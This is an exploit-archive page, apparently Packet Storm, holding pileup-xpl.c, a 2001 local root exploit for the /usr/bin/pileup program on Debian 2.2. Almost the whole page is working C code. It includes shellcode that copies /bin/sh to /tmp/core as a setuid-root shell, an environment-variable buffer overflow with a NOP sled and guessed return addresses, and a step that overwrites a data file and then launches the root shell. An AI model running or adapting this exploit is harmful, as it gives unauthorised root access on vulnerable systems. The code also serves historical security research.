exploit the possibilities

pileup-xpl.c

pileup-xpl.c
Posted Jul 29, 2001
Authored by Charles Stevenson

/usr/bin/pileup local root exploit. Tested against Debian 2.2.

tags | exploit, local, root
systems | linux, debian
MD5 | 7db2fa47bb548a4281aad6708c157b54

pileup-xpl.c

Change Mirror Download
/* pileup-xpl.c - local root exploit
*
* by core
*
* Friday the 13th, July 2001
*
* based almost entirely on code by Cody Tubbs (loophole of hhp)
*
* $ ./pileup-xpl
* pileup-xpl by core 2001 - beep beep root!
* usage: ./pileup-xpl [offset] [align(0..3)]
* Ret-addr: 0xbfffe09c, offset: 0, align: 0.
* How many voices (1 to 9)
* Starting speed (wpm)
* (C)ompetion mode or (P)ractice mode
* Enter '0' to abort the session! GL..
*
* TX RX TX RX
* -- -- -- --
*
* Accuracy: 0/6. Max speed: 13
* Score: 0
* Score: core wins!
* core-2.03# id
* uid=1000(core) gid=1000(core) euid=0(root) groups=1000(core)
* core-2.03# exit
* $
*
* greetz b10z, hhp, loophole
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define SH_IS_BASH 1 /* if /bin/sh -> /bin/bash */

#define PATH "/usr/bin/pileup" // Change to direct path if needed.
#define OFFSET 0 // Worked for me.
#define ALIGN 0 // Don't change.
#define NOP 0x90 // x86 No OPeration.
#define DBUF 20 // 16+4(ebp)+4(eip)=24.
#define DAT "calls.dat" // Required for exploitation.

static char shellcode[]=
"\x31\xc0" /* set[gu]id(0);/bin/cp /bin/sh /tmp/core;chmod 4555 /tmp/core */
"\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x5e\x5f\x31\xc0\x88\x47\x07\x88\x47\x0f\x88\x47\x19\x89\x7f"
"\x1a\x8d\x77\x08\x89\x77\x1e\x31\xf6\x8d\x77\x10\x89\x77\x22\x89"
"\x47\x26\x89\xfb\x8d\x4f\x1a\x8d\x57\x26\x31\xc0\xb0\x02\xcd\x80"
"\x31\xf6\x39\xc6\x75\x06\xb0\x0b\xcd\x80\xeb\x1d\x31\xd2\x31\xc0"
"\x31\xdb\x4b\x8d\x4f\x26\xb0\x07\xcd\x80\x31\xc0\x8d\x5f\x10\x31"
"\xc9\x66\xb9\x6d\x09\xb0\x0f\xcd\x80\x31\xc0\x40\x31\xdb\xcd\x80"
"\xe8\x9d\xff\xff\xff/bin/cp8/bin/sh8/tmp/core";

long get_sp(void) {
__asm__("movl %esp,%eax");
}

void usage(char *name){
fprintf(stderr, "pileup-xpl by core 2001 - beep beep root!\n");
fprintf(stderr, "usage: %s [offset] [align(0..3)]\n", name);
}

int main(int argc, char **argv){
char eipeip[DBUF], buffer[7192];
char go[DBUF + 22];
FILE *calls;
int i, offset, align;
long address;

usage(argv[0]);

/* Remove the config and write OWNED! */
unlink(DAT);
calls = fopen(DAT, "w");
fprintf(calls, "OWNED\n");
fclose(calls);

/* Do command line */
if (argc > 1) {
offset = atoi(argv[1]);
}
else {
offset = OFFSET;
}

if (argc > 2) {
align = atoi(argv[2]);
}
else {
align = ALIGN;
}

address = get_sp() - offset;

if (align > 0) {
for(i=0; i < align; i++) {
eipeip[i] = 0x69;
}
}

for (i=align; i < DBUF; i+=4) {
*(long *)&eipeip[i] = address;
}
for (i=0; i < (7192 - strlen(shellcode) - strlen(eipeip)); i++) {
buffer[i] = NOP;
}

/* setup the environment */
memcpy(buffer + i, shellcode, strlen(shellcode));
memcpy(buffer, "UPEX=", 5);
putenv(buffer);

fprintf(stderr, "Ret-addr: %#x, offset: %d, align: %d.\n", address, \
offset, align);

sprintf(go, "(printf '1\n0\nC\n%s\n0\n')|%s", eipeip, PATH); //netcat style.
system(go);

fprintf(stderr, "Score: core wins!\n");

#ifdef SH_IS_BASH
system("/tmp/core -p");
#else
system("/tmp/core");
#endif

return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    16 Files
  • 2
    May 2nd
    8 Files
  • 3
    May 3rd
    8 Files
  • 4
    May 4th
    2 Files
  • 5
    May 5th
    1 Files
  • 6
    May 6th
    15 Files
  • 7
    May 7th
    22 Files
  • 8
    May 8th
    16 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    16 Files
  • 11
    May 11th
    3 Files
  • 12
    May 12th
    4 Files
  • 13
    May 13th
    25 Files
  • 14
    May 14th
    24 Files
  • 15
    May 15th
    78 Files
  • 16
    May 16th
    16 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    2 Files
  • 19
    May 19th
    1 Files
  • 20
    May 20th
    11 Files
  • 21
    May 21st
    21 Files
  • 22
    May 22nd
    20 Files
  • 23
    May 23rd
    36 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close